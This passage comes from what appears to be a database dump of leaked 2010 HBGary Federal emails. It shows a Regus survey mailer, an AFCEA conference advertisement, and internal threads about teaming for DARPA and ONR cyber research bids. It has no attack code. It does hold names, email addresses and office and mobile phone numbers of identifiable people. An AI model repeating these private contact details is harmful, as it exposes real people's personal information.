\r\n											\r\n											\r\n											Welcome to the Regus twice-yearly survey.&nbsp; You represent the dynamic, entrepreneurial business community.&nbsp; That\'s why we are asking you a number of key questions that collectively provide an economic barometer for the year (or two) ahead.&nbsp; The survey only takes a few minutes to complete.\r\nSo please participate if you possibly can. Your answers are completely confidential to Regus and will not be passed to any other party. Only aggregated statistics (overall percentages) will be published. Your answers are extremely important.Everyone who is kind enough to fill in a questionnaire will be put in a prize draw&nbsp;for&nbsp;ten £150 prize vouchers (which can be exchanged for a wide variety of gifts) and 200 one hour meeting room vouchers*.&nbsp;\r\n In addition, every respondent will be sent a summary of this survey’s key findings.Thank you in advance for your kind participation.\r\n											Welcome to the Regus global economic indicator survey.  You represent part of the dynamic, entrepreneurial business community whose opinions matter most. That&#8217;s why we are asking you a number of key questions that collectively provide an economic barometer for the year (or two) ahead. The survey will only take a few minutes to complete.\r\n\r\n											So please participate if you possibly can. Your answers are completely confidential to Regus and will not be passed to any other party. Only aggregated statistics (overall percentages) will be published. Your answers are extremely important.\r\n											\r\n											Everyone who is kind enough to fill in a questionnaire will be put in a prize draw to win one of ten Nintendo Wii games consoles and one of two hundred one hour meeting room sessions at a Regus centre of your choice. In addition, every respondent will be sent a summary of this survey&#8217;s key findings.\r\n											\r\n											Thank you in advance for your kind participation.-->\r\n											\r\n										\r\n										\r\n											\r\n											\r\n											\r\n										\r\n										\r\n											\r\n											\r\n											\r\n											\r\n												\r\n													\r\n														\r\n														\r\n														\r\n													\r\n													\r\n														\r\n														Please click here to complete our Global Economic Indicator Survey \r\n														Qualification\r\n													\r\n													\r\n														\r\n													\r\n													\r\n														1. What is your job grouping?\r\n													\r\n\r\n													\r\n														-->\r\n													\r\n\r\n												\r\n											\r\n											\r\n											\r\n											\r\n										\r\n\r\n\r\n									\r\n									\r\n								\r\n													\r\n							\r\n							\r\n								\r\n								\r\n													\r\n							\r\n							\r\n								\r\n								\r\n													\r\n							\r\n							\r\n								\r\n								\r\n													\r\n							\r\n							\r\n								\r\n								\r\n									\r\n			\r\n									\r\n										\r\n										1000locations\r\n										\r\n										450cities\r\n										\r\n										75countries\r\n										\r\n										1000locations\r\n										\r\n										450cities\r\n										\r\n			\r\n										75countries\r\n										\r\n										1card-->\r\n									\r\n			\r\n								\r\n													\r\n							\r\n							\r\n						\r\n					\r\n				\r\n				\r\n					\r\n				\r\n				\r\n					\r\n						\r\n\r\n							\r\n								\r\n							\r\n		\r\n							\r\n								\r\n									\r\n									Regus standard terms and conditions apply. Contents are correct at the time of sending and are subject to change without notice. To unsubscribe please click \r\nUpdate Profile. Regus Group plc and its subsidiaries (“Regus Group”) respect your privacy and are committed to protecting it. If you no longer wish to receive our promotional communications, you may opt-out of receiving them at any time. You can find out more by reading our privacy policy.Regus plc (société anonyme) Head Office: 26 Boulevard Royal, L-2449 Luxembourg R.C.S. Luxembourg B: 141159. \r\nRegistered Office: 22 Grenville Street, St Helier, Jersey, JE4 8PX, Channel Islands Jersey Registered Number: 101523 \r\n									&copy; Regus 2009\r\n									\r\n		\r\n									OfficesOptionsSolutionsServices\r\n		\r\n									\r\n									Meeting RoomsRoom TypesSolutionsServices\r\n									\r\n		\r\n									Virtual OfficesBenefitsCase StudiesProducts\r\n									\r\n		\r\n									MembershipGoldPlatinumPlatinum Plus\r\n								\r\n		\r\n								\r\n									\r\n									\r\n									\r\n									\r\n									\r\n									\r\n									\r\n		\r\n									\r\n		\r\n									\r\n									\r\n									\r\n									-->\r\n							\r\n							\r\n								\r\n							\r\n							\r\n								\r\n								\r\n								\r\n								Regus Group plc and its subsidiaries (&ldquo;Regus Group&rdquo;) respect your privacy and are committed to protecting it.\r\n								If you no longer wish to receive our promotional communications, you may opt-out of them at any time by clicking Update Profile.\r\n		\r\n								You can find out more by reading our privacy policy.\r\n								\r\n		\r\n								Regus plc (society anonym) Head Office: 26 Boulevard Royal, L-2449 Luxembourg R.C.S. Luxembourg B: 141159. Registered Office: 22 Grenville Street, St Helier, Jersey, JE4 8PX, Channel Islands Jersey Registered Number: 101523-->\r\n							\r\n							\r\n								\r\n									\r\n						\r\n\r\n					\r\n				\r\n			\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10792,'aaron_hbgary_com/10792.html'),(2996,'2010-02-23','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297001427.M822511P3547Q2996.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: ONR CND RFP','Actually wasn\'t until right before you call.  I was actually on a call\r\nwith Nolan talking about it when you wrote me this AM :)  About to\r\nrespond to your other note too.\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 23, 2010 9:24 AM\r\nTo: Etue, David\r\nSubject: ONR CND RFP\r\n\r\nDave,\r\n\r\nAre u guys tracking this?  I think this is a good opp for us.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',9632,'aaron_hbgary_com/9632.html'),(2997,'2010-02-23','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297001428.M104643P3547Q2997.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: ONR CND/IA Day @ Wed Feb 24, 2010 (aaron@hbgary.com)',' more details &raquo;ONR CND/IA Day0900-1000 Registration1000-1300 MeetingWhenWed Feb 24, 2010WhereBldg 226 4555 Overlook Ave SW, Washington DC 20375 (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',13935,'aaron_hbgary_com/13935.html'),(2998,'2010-02-23','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297001428.M300240P3547Q2998.eml','aaron@hbgary.com','Register now for AFCEA/USNI Joint Warfighting Conference','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n          \r\n          \r\n	\r\n		Fourth annual Joint Warfighting conference and exposition \r\n		  &quot;Combatant and Coalition Commanders: What Will They Need Five Years From Now?&quot;\r\n  May 11-13, 2010\r\n		  Virginia Beach Convention Center, VA\r\n		  \r\n		    \r\n		      \r\n		      Co-sponsored by AFCEA International and the U.S. Naval Institute, in coordination with U.S. Joint Forces Command and with support of the NDIA Greater Hampton Roads Chapter and the AFCEA Hampton Roads and Tidewater Chapters.\r\n		        &nbsp;&nbsp;&nbsp; \r\n		      \r\n		    		                \r\n              \r\n              Registration is FREE! CLICK HERE to register.\r\n            \r\nCompelling Reasons to Attend Joint Warfighting 2010:\r\n            &nbsp;\r\n            1. Hear from the experts!\r\n              Confirmed featured speakers:\r\n            &nbsp;\r\n            \r\n              The Honorable Mich&egrave;le A. Flournoy, Under Secretary of Defense for Policy, U.S. Department of Defense\r\n                        \r\n            \r\n              ADM Michael G. Mullen, USN, Chairman of the Joint Chiefs of Staff \r\n                        \r\n            \r\n              GEN David H. Petraeus, USA, Commander, U.S. Central Command \r\n                        \r\n              Gen James N. Mattis, USMC, Commander, U.S. Joint Forces Command\r\n                        \r\n            \r\n              Gen St&eacute;phane Abrial, French Air Force, NATO Supreme Allied Commander Transformation\r\n                        \r\n&nbsp;\r\n2. Attend dynamic panel sessions\r\n            \r\n  Power Shifts: Who\'s Up? Who\'s Down? What\'s Changing?  \r\n              \r\n            \r\n              Fresh from the Fight: What Do Company Level Leaders See as the Threats? \r\n                        \r\n            \r\n              What Should Be Done to Secure the Homelands?  \r\n                        \r\n            \r\n              What Needs to Be Done to Make the Interagency Pieces Work? \r\n                        \r\n            \r\n              Battles of Competing Narratives: Why Do They Matter? \r\n                        \r\n            \r\n              Small Unit Excellence: What Will It Take?  \r\n                        \r\n            \r\n              How Do We Fight Through a Digital Meltdown?  \r\n                        \r\n            \r\n              What Needs to Be Done to Make the Joint/Coalition Force Acquisition Interoperable? \r\n                            \r\n                        &nbsp;\r\n            3. Special Features:\r\n            \r\n              Joint Forces Command Knowledge Management Workshops/Sessions\r\n            \r\n            \r\n               DON IT East Coast Conference\r\n                        \r\n            \r\n              Fourth annual Navy Blue Coast Small Business Conference **\r\n                        \r\n            \r\n              Fourth annual Military Officers Association of America Spouse Symposium **\r\n                        \r\n            \r\n              Over 200 IT and defense exhibitors\r\n                        **Separate registration required.             \r\n              \r\n        \r\nAttention Corporates: Reach your defense customers by becoming an exhibitor, sponsor or table buyer!  Click here for more information.\r\n            \r\n\r\n        \r\nFor more information on the Joint Warfighting Conference and to register FREE click here.\r\n\r\nWe look forward to seeing you in Virginia Beach!\r\n\r\n        \r\n		\r\n	\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n	\r\n		\r\n	\r\n	  \r\n	\r\n\r\n\r\n\r\n\r\n\r\n',14815,'aaron_hbgary_com/14815.html'),(2999,'2010-02-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001428.M565773P3547Q2999.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','RE: DARPA BAA',' Why do we have to partner with a University?  The last couple of times we\r\ndid this they didn\'t bring much to the table, not even testing\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 23, 2010 1:28 PM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy; Greg Hoglund; Rich Cummings; Ted Vera\r\nSubject: Re: DARPA BAA\r\n\r\nOK.  Latest discussion with GD.  They seem very amenable/flexible to working\r\nout an arrangement.  Basically, they see this as strategic to their DC3 work\r\nand just want to be on the team.  With this new piece of information we\r\nmight be able to work out an arrangement.  I am still planning on priming\r\nTechnical Area 3 as I don\'t want any company to be in control of something\r\nso close to our key area of work.  On Technical area 1 I am working for a NG\r\nprime with GD and HBGary as subs, probably a university as well.  I think\r\nthis is workable, but we will see...negotiations continue.  To their credit\r\nthe GD guys were handled the discussion very well.  I asked them\r\nspecifically what innovation they thought they brought to the table and\r\nwould they consider sub roles on both technical areas.\r\n\r\nBob do you think Pikeworks will be amenable to a Tech3 teaming with GD as a\r\nminor prime as long as HBGary is the prime?\r\n\r\nDC3 along with a small pocket in NSA are probably the only shops that are\r\ncurrently doing anything related to full-spectrum cyber analysis, even\r\nthough its all currently manual.  So they do bring operational relevance,\r\nbut that doesn\'t get you very far in the dance.  Innovation, innovation,\r\ninnovation.\r\n\r\nAaron\r\n\r\nOn Feb 23, 2010, at 9:43 AM, Bob Slapnik wrote:\r\n\r\n> I went into the conversations with GD full of optimism.  However, the only\r\n> thing they bring to the table is their contracts with DC3.  Van Putte\r\n> mentioned DC3 as a potential law enforcement user of some of this new\r\nwork.\r\n> But when we look at GD for ideas and technology, they came up with\r\nnothing.\r\n> \r\n> We\'ve been in dialogue with GD about DDNA/ePO for internal use,\r\n> SOC-in-a-can, and being used in the security consulting services.  This is\r\n> potential -- they haven\'t given us any money yet.  I\'m expecting $40k\r\norder\r\n> from DC3 through GD. HBGary is a front-line sub in the recent SPAWAR\r\n> proposal (award still pending).\r\n> \r\n> The teams Aaron assembled for topics #1 and #3 look strong.  Will we\r\npursue\r\n> topic #2, perhaps with GD?  Maybe it makes more sense to pursue just two\r\n> topics to make sure we nail them.\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, February 22, 2010 11:58 PM\r\n> To: Penny Leavy; Greg Hoglund; Rich Cummings; Bob Slapnik\r\n> Subject: DARPA BAA\r\n> \r\n> Guys,\r\n> \r\n> Just wanted to let you know of our decision and take any comments.  Ted\r\nand\r\n> I have been discussing this for a few hours and have come to a decision.\r\nWe\r\n> are going to Prime Tech Area 3 with subs (Secure Decisions, HBGary,\r\n> Pikeworks, and maybe CMU).  We are going to plan to sub on Tech area 1 to\r\n> Northrop Grumman Xetron.  I am going to talk with GD tomorrow and explain\r\n> our decision as best I can and the reasons for not continuing to pursue\r\nthis\r\n> effort with them.  I believe this will come with significant\r\ndissapointment.\r\n> \r\n> GD has brought nothing to the table for this particular effort.  Northrop\r\n> not only has the Information Geometry technology but we are working with\r\n> them under their R&D to develop the threat intelligence effort which will\r\n> fold well into Tech Area 1.  It would not make sense to team with NG\r\nXetron\r\n> given our TIC work and their technology.  I have asked to either meet or\r\n> talk with Chris Starr one on one tomorrow.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/22/10\r\n> 14:34:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',13792,'aaron_hbgary_com/13792.html'),(3000,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001428.M764640P3547Q3000.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,,','Re: DARPA BAA','Don\'t have to, but if we can find one that brings some capability, DARPA likes university partnerships.  They thing they are researchy.\r\n\r\nBrian Masterson from Xetron is going to put me in contact with CMU, I will hear what they have.  He wasn\'t overly impressed in what they had for Tech area 1 but thought they might have some capability for 3.  We will see.  CMU has a lot of street cred. in government for cyber security research, but we will see.\r\n\r\n\r\nOn Feb 23, 2010, at 5:16 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> Why do we have to partner with a University?  The last couple of times we\r\n> did this they didn\'t bring much to the table, not even testing\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, February 23, 2010 1:28 PM\r\n> To: Bob Slapnik\r\n> Cc: Penny Leavy; Greg Hoglund; Rich Cummings; Ted Vera\r\n> Subject: Re: DARPA BAA\r\n> \r\n> OK.  Latest discussion with GD.  They seem very amenable/flexible to working\r\n> out an arrangement.  Basically, they see this as strategic to their DC3 work\r\n> and just want to be on the team.  With this new piece of information we\r\n> might be able to work out an arrangement.  I am still planning on priming\r\n> Technical Area 3 as I don\'t want any company to be in control of something\r\n> so close to our key area of work.  On Technical area 1 I am working for a NG\r\n> prime with GD and HBGary as subs, probably a university as well.  I think\r\n> this is workable, but we will see...negotiations continue.  To their credit\r\n> the GD guys were handled the discussion very well.  I asked them\r\n> specifically what innovation they thought they brought to the table and\r\n> would they consider sub roles on both technical areas.\r\n> \r\n> Bob do you think Pikeworks will be amenable to a Tech3 teaming with GD as a\r\n> minor prime as long as HBGary is the prime?\r\n> \r\n> DC3 along with a small pocket in NSA are probably the only shops that are\r\n> currently doing anything related to full-spectrum cyber analysis, even\r\n> though its all currently manual.  So they do bring operational relevance,\r\n> but that doesn\'t get you very far in the dance.  Innovation, innovation,\r\n> innovation.\r\n> \r\n> Aaron\r\n> \r\n> On Feb 23, 2010, at 9:43 AM, Bob Slapnik wrote:\r\n> \r\n>> I went into the conversations with GD full of optimism.  However, the only\r\n>> thing they bring to the table is their contracts with DC3.  Van Putte\r\n>> mentioned DC3 as a potential law enforcement user of some of this new\r\n> work.\r\n>> But when we look at GD for ideas and technology, they came up with\r\n> nothing.\r\n>> \r\n>> We\'ve been in dialogue with GD about DDNA/ePO for internal use,\r\n>> SOC-in-a-can, and being used in the security consulting services.  This is\r\n>> potential -- they haven\'t given us any money yet.  I\'m expecting $40k\r\n> order\r\n>> from DC3 through GD. HBGary is a front-line sub in the recent SPAWAR\r\n>> proposal (award still pending).\r\n>> \r\n>> The teams Aaron assembled for topics #1 and #3 look strong.  Will we\r\n> pursue\r\n>> topic #2, perhaps with GD?  Maybe it makes more sense to pursue just two\r\n>> topics to make sure we nail them.\r\n>> \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, February 22, 2010 11:58 PM\r\n>> To: Penny Leavy; Greg Hoglund; Rich Cummings; Bob Slapnik\r\n>> Subject: DARPA BAA\r\n>> \r\n>> Guys,\r\n>> \r\n>> Just wanted to let you know of our decision and take any comments.  Ted\r\n> and\r\n>> I have been discussing this for a few hours and have come to a decision.\r\n> We\r\n>> are going to Prime Tech Area 3 with subs (Secure Decisions, HBGary,\r\n>> Pikeworks, and maybe CMU).  We are going to plan to sub on Tech area 1 to\r\n>> Northrop Grumman Xetron.  I am going to talk with GD tomorrow and explain\r\n>> our decision as best I can and the reasons for not continuing to pursue\r\n> this\r\n>> effort with them.  I believe this will come with significant\r\n> dissapointment.\r\n>> \r\n>> GD has brought nothing to the table for this particular effort.  Northrop\r\n>> not only has the Information Geometry technology but we are working with\r\n>> them under their R&D to develop the threat intelligence effort which will\r\n>> fold well into Tech Area 1.  It would not make sense to team with NG\r\n> Xetron\r\n>> given our TIC work and their technology.  I have asked to either meet or\r\n>> talk with Chris Starr one on one tomorrow.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com \r\n>> Version: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/22/10\r\n>> 14:34:00\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16758,'aaron_hbgary_com/16758.html'),(3001,'2010-02-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001429.M17853P3547Q3001.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','RE: DARPA BAA','Aaron,\r\n\r\nOperationally, GD is relevant.  They have 3-4 of the most technical\r\nforensics and r/e guys I have met -- to their credit.  Innovation and\r\nautomation only matter it replaces humans or allows humans to work\r\nsmarter/faster.  GD\'s role could be to map out \"how they do it now\" and to\r\n\"verify\" that our innovative automation plans will make their existing\r\nprocesses more effective.  Therefore, GD\'s role could be (1) define real\r\nworld use cases and (2) IV&V of what we develop.\r\n\r\nPikewerks wants to be on the winning team.  I think they will agree to GD so\r\nlong as it doesn\'t cut too deeply into their $$ share and if they clearly\r\nsee GD\'s value.  The truth is that neither Pikewerks nor HBGary do as much\r\nforensics and malware r/e work as GD.  We need to make the business case to\r\nPikewerks to define GD\'s value.\r\n\r\nMy math is that we have $43 million and 3 primary topics.  Figuring that\r\nDARPA wants to give 2 awards per topic gets us $7 million per award.  The\r\n\"price to win\" is $5 million, but I think we could come in a $7-8 million\r\nper topic with a compelling story and team and still win.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 23, 2010 4:28 PM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy; Greg Hoglund; Rich Cummings; Ted Vera\r\nSubject: Re: DARPA BAA\r\n\r\nOK.  Latest discussion with GD.  They seem very amenable/flexible to working\r\nout an arrangement.  Basically, they see this as strategic to their DC3 work\r\nand just want to be on the team.  With this new piece of information we\r\nmight be able to work out an arrangement.  I am still planning on priming\r\nTechnical Area 3 as I don\'t want any company to be in control of something\r\nso close to our key area of work.  On Technical area 1 I am working for a NG\r\nprime with GD and HBGary as subs, probably a university as well.  I think\r\nthis is workable, but we will see...negotiations continue.  To their credit\r\nthe GD guys were handled the discussion very well.  I asked them\r\nspecifically what innovation they thought they brought to the table and\r\nwould they consider sub roles on both technical areas.\r\n\r\nBob do you think Pikeworks will be amenable to a Tech3 teaming with GD as a\r\nminor prime as long as HBGary is the prime?\r\n\r\nDC3 along with a small pocket in NSA are probably the only shops that are\r\ncurrently doing anything related to full-spectrum cyber analysis, even\r\nthough its all currently manual.  So they do bring operational relevance,\r\nbut that doesn\'t get you very far in the dance.  Innovation, innovation,\r\ninnovation.\r\n\r\nAaron\r\n\r\nOn Feb 23, 2010, at 9:43 AM, Bob Slapnik wrote:\r\n\r\n> I went into the conversations with GD full of optimism.  However, the only\r\n> thing they bring to the table is their contracts with DC3.  Van Putte\r\n> mentioned DC3 as a potential law enforcement user of some of this new\r\nwork.\r\n> But when we look at GD for ideas and technology, they came up with\r\nnothing.\r\n> \r\n> We\'ve been in dialogue with GD about DDNA/ePO for internal use,\r\n> SOC-in-a-can, and being used in the security consulting services.  This is\r\n> potential -- they haven\'t given us any money yet.  I\'m expecting $40k\r\norder\r\n> from DC3 through GD. HBGary is a front-line sub in the recent SPAWAR\r\n> proposal (award still pending).\r\n> \r\n> The teams Aaron assembled for topics #1 and #3 look strong.  Will we\r\npursue\r\n> topic #2, perhaps with GD?  Maybe it makes more sense to pursue just two\r\n> topics to make sure we nail them.\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, February 22, 2010 11:58 PM\r\n> To: Penny Leavy; Greg Hoglund; Rich Cummings; Bob Slapnik\r\n> Subject: DARPA BAA\r\n> \r\n> Guys,\r\n> \r\n> Just wanted to let you know of our decision and take any comments.  Ted\r\nand\r\n> I have been discussing this for a few hours and have come to a decision.\r\nWe\r\n> are going to Prime Tech Area 3 with subs (Secure Decisions, HBGary,\r\n> Pikeworks, and maybe CMU).  We are going to plan to sub on Tech area 1 to\r\n> Northrop Grumman Xetron.  I am going to talk with GD tomorrow and explain\r\n> our decision as best I can and the reasons for not continuing to pursue\r\nthis\r\n> effort with them.  I believe this will come with significant\r\ndissapointment.\r\n> \r\n> GD has brought nothing to the table for this particular effort.  Northrop\r\n> not only has the Information Geometry technology but we are working with\r\n> them under their R&D to develop the threat intelligence effort which will\r\n> fold well into Tech Area 1.  It would not make sense to team with NG\r\nXetron\r\n> given our TIC work and their technology.  I have asked to either meet or\r\n> talk with Chris Starr one on one tomorrow.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/22/10\r\n> 14:34:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/23/10\r\n02:34:00\r\n\r\n',5231,'aaron_hbgary_com/5231.html'),(3002,'2010-02-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001429.M270648P3547Q3002.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: DARPA BAA','Yes, our past experiences with universities have been worthless.  Van Putte\r\nsaid he\'d like to see university involvement.  Yeah, it sucks.  In fact, I\'d\r\nsay HBGary\'s experience with subs in general has been a disappointment.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] \r\nSent: Tuesday, February 23, 2010 5:16 PM\r\nTo: \'Aaron Barr\'; \'Bob Slapnik\'\r\nCc: \'Greg Hoglund\'; \'Rich Cummings\'; \'Ted Vera\'\r\nSubject: RE: DARPA BAA\r\n\r\n Why do we have to partner with a University?  The last couple of times we\r\ndid this they didn\'t bring much to the table, not even testing\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 23, 2010 1:28 PM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy; Greg Hoglund; Rich Cummings; Ted Vera\r\nSubject: Re: DARPA BAA\r\n\r\nOK.  Latest discussion with GD.  They seem very amenable/flexible to working\r\nout an arrangement.  Basically, they see this as strategic to their DC3 work\r\nand just want to be on the team.  With this new piece of information we\r\nmight be able to work out an arrangement.  I am still planning on priming\r\nTechnical Area 3 as I don\'t want any company to be in control of something\r\nso close to our key area of work.  On Technical area 1 I am working for a NG\r\nprime with GD and HBGary as subs, probably a university as well.  I think\r\nthis is workable, but we will see...negotiations continue.  To their credit\r\nthe GD guys were handled the discussion very well.  I asked them\r\nspecifically what innovation they thought they brought to the table and\r\nwould they consider sub roles on both technical areas.\r\n\r\nBob do you think Pikeworks will be amenable to a Tech3 teaming with GD as a\r\nminor prime as long as HBGary is the prime?\r\n\r\nDC3 along with a small pocket in NSA are probably the only shops that are\r\ncurrently doing anything related to full-spectrum cyber analysis, even\r\nthough its all currently manual.  So they do bring operational relevance,\r\nbut that doesn\'t get you very far in the dance.  Innovation, innovation,\r\ninnovation.\r\n\r\nAaron\r\n\r\nOn Feb 23, 2010, at 9:43 AM, Bob Slapnik wrote:\r\n\r\n> I went into the conversations with GD full of optimism.  However, the only\r\n> thing they bring to the table is their contracts with DC3.  Van Putte\r\n> mentioned DC3 as a potential law enforcement user of some of this new\r\nwork.\r\n> But when we look at GD for ideas and technology, they came up with\r\nnothing.\r\n> \r\n> We\'ve been in dialogue with GD about DDNA/ePO for internal use,\r\n> SOC-in-a-can, and being used in the security consulting services.  This is\r\n> potential -- they haven\'t given us any money yet.  I\'m expecting $40k\r\norder\r\n> from DC3 through GD. HBGary is a front-line sub in the recent SPAWAR\r\n> proposal (award still pending).\r\n> \r\n> The teams Aaron assembled for topics #1 and #3 look strong.  Will we\r\npursue\r\n> topic #2, perhaps with GD?  Maybe it makes more sense to pursue just two\r\n> topics to make sure we nail them.\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, February 22, 2010 11:58 PM\r\n> To: Penny Leavy; Greg Hoglund; Rich Cummings; Bob Slapnik\r\n> Subject: DARPA BAA\r\n> \r\n> Guys,\r\n> \r\n> Just wanted to let you know of our decision and take any comments.  Ted\r\nand\r\n> I have been discussing this for a few hours and have come to a decision.\r\nWe\r\n> are going to Prime Tech Area 3 with subs (Secure Decisions, HBGary,\r\n> Pikeworks, and maybe CMU).  We are going to plan to sub on Tech area 1 to\r\n> Northrop Grumman Xetron.  I am going to talk with GD tomorrow and explain\r\n> our decision as best I can and the reasons for not continuing to pursue\r\nthis\r\n> effort with them.  I believe this will come with significant\r\ndissapointment.\r\n> \r\n> GD has brought nothing to the table for this particular effort.  Northrop\r\n> not only has the Information Geometry technology but we are working with\r\n> them under their R&D to develop the threat intelligence effort which will\r\n> fold well into Tech Area 1.  It would not make sense to team with NG\r\nXetron\r\n> given our TIC work and their technology.  I have asked to either meet or\r\n> talk with Chris Starr one on one tomorrow.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/22/10\r\n> 14:34:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/23/10\r\n02:34:00\r\n\r\n',8412,'aaron_hbgary_com/8412.html'),(3003,'2010-02-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001429.M543512P3547Q3003.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Genome Follow-up - Pikewerks','irby@pikewerks.com\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 23, 2010 4:29 PM\r\nTo: Bob Slapnik\r\nSubject: Re: Cyber Genome Follow-up - Pikewerks\r\n\r\nwhat is his email address?\r\n\r\nOn Feb 23, 2010, at 11:30 AM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> The point man from Pikewerks is Irby Thompson.  Please send him an NDA\r\n> agreement.\r\n> \r\n> Irby said it sounds good to team with us on topic #3.  He is going to go\r\n> back to his team to verify they are all on board.  He thinks they may also\r\n> do a proposal for Topic #4.\r\n> \r\n> I told him that you would be the point man going forward.\r\n> \r\n> Bob \r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Irby Thompson [mailto:irby@pikewerks.com] \r\n> Sent: Tuesday, February 23, 2010 10:59 AM\r\n> To: bob@hbgary.com\r\n> Subject: Re: Cyber Genome Follow-up\r\n> \r\n> Also here are my contact details:\r\n> \r\n> \r\n> -------------------------------\r\n> Irby J. Thompson, Jr.\r\n> Chief Operating Officer\r\n> Pikewerks Corporation\r\n> http://pikewerks.com\r\n> Office:	256.325.0010\r\n> Mobile:	202.341.5999\r\n> \r\n> \r\n> On Feb 22, 2010, at 6:12 PM, Irby Thompson wrote:\r\n> \r\n>> Bob,\r\n>> \r\n>> Thanks for the discussion today. As I mentioned, we are in the process of\r\n> working through our approach for this opportunity, but would definitely be\r\n> interesting in considering a partnership. I think Pikewerks and HBGary\r\nhave\r\n> the potential to complement each other well, and could present a strong\r\nand\r\n> innovative solution.\r\n>> \r\n>> I look forward to discussing further with your team.\r\n>> \r\n>> 	